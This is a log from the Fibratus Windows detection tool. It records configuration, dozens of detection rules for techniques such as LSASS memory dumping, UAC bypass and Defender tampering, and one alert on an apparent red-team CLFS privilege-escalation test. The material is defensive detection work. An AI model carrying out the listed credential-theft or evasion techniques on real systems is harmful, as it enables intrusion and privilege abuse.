source=etw/source.go:269 +time=2025-11-26T12:43:44+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T12:44:07+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T12:44:07+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T12:44:08+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T12:44:41+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T12:44:41+01:00 level=info msg=bootstrapping with pid 18512. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T12:44:41+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html use-template=>true enabled=>false to=>[] port=>25] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ buffer-size=>512 stack-enrichment=>true flush-interval=>1s enable-fileio=>true enable-threadpool=>false enable-net=>true min-buffers=>16 enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-audit-api=>true enable-thread=>true enable-vamap=>true enable-mem=>false max-buffers=>36 enable-registry=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-backups=>15 max-size=>100 log-stdout=>true formatter=>text level=>info] + output ......................... [ amqp=>[ delivery-mode=>transient url=>amqp://localhost:5672 exchange-type=>topic timeout=>5s vhost=>/ exchange=>fibratus durable=>false enabled=>false tls-insecure-skip-verify=>false routing-key=>fibratus passive=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck=>true gzip-compression=>false trace-log=>false healthcheck-timeout=>5s bulk-workers=>1 index-name=>fibratus sniff=>false enabled=>false flush-period=>1s timeout=>5s healthcheck-interval=>10s template-name=>fibratus] http=>[ serializer=>json enable-gzip=>false enabled=>false timeout=>5s endpoints=>[] method=>POST tls-insecure-skip-verify=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] scan-timeout=>10s excluded-procs=>[] enabled=>false skip-registry=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false fastscan=>true skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T12:44:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T12:44:43+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T12:45:52+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T12:45:52+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T12:45:52+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T12:46:49+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:46:49+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-26T12:46:49+01:00 level=info msg=bootstrapping with pid 2564. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T12:46:50+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ content-type=>text/html to=>[] port=>25 use-template=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-dns=>false enable-registry=>true enable-audit-api=>true enable-threadpool=>false enable-net=>true enable-mem=>false enable-image=>true enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-handle=>false min-buffers=>16 flush-interval=>1s enable-fileio=>true max-buffers=>36 enable-vamap=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-size=>100 log-stdout=>true max-backups=>15 formatter=>text max-age=>0] + output ......................... [ http=>[ enabled=>false timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] serializer=>json method=>POST enable-gzip=>false] elasticsearch=>[ bulk-workers=>1 template-name=>fibratus enabled=>false trace-log=>false index-name=>fibratus healthcheck-timeout=>5s timeout=>5s flush-period=>1s sniff=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s gzip-compression=>false healthcheck=>true] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] amqp=>[ vhost=>/ passive=>false routing-key=>fibratus tls-insecure-skip-verify=>false delivery-mode=>transient exchange-type=>topic durable=>false timeout=>5s exchange=>fibratus url=>amqp://localhost:5672 enabled=>false]] + pe ............................. [ read-symbols=>false read-sections=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-files=>false skip-allocs=>false fastscan=>true skip-mmaps=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] enabled=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T12:46:50+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T12:46:54+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T12:47:08+01:00 level=info msg=sending alert: [Exploitation via Common Log File System]. Text: Event(s): + Seq: 770771 + Pid: 6632 + Tid: 15944 + Type: CreateFile + CPU: 0 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-26 12:46:57.261412 +0100 CET + Params: attributes➜ NORMAL, create_disposition➜ OPEN, create_options➜ WRITE_THROUGH|SEQUENTIAL_ONLY|NO_INTERMEDIATE_BUFFERING|NO_COMPRESSION, file_object➜ ffffc48c9a49fd60, file_path➜ C:\Fibratus\redteam\clfs\test.blf, irp➜ ffffc48c939050f8, share_mask➜ READ, status➜ Success, tid➜ 15944, type➜ File + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 6632, rule.name: Exploitation via Common Log File System, tactic.id: TA0004 + + Pid: 6632 + Ppid: 8524 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\clfs\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\clfs\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\clfs\main.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 770796 + Pid: 6632 + Tid: 15944 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-26 12:46:57.2674404 +0100 CET + Params: cmdline➜ "C:\Windows\System32\cmd.exe", directory_table_base➜ 2291d1000, domain➜ ARCHRABBIT, exe➜ C:\Windows\System32\cmd.exe, exit_status➜ Success, flags➜ WOW64, kproc➜ ffffc48c99ced080, name➜ cmd.exe, pid➜ 4940, ppid➜ 6632, real_ppid➜ 6632, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-26 12:46:57.2673678 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 6632, rule.name: Exploitation via Common Log File System, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 6632 + Ppid: 8524 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\clfs\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\clfs\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\clfs\main.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-26T12:47:23+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T12:47:23+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T12:47:23+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T12:48:40+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-26T12:48:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 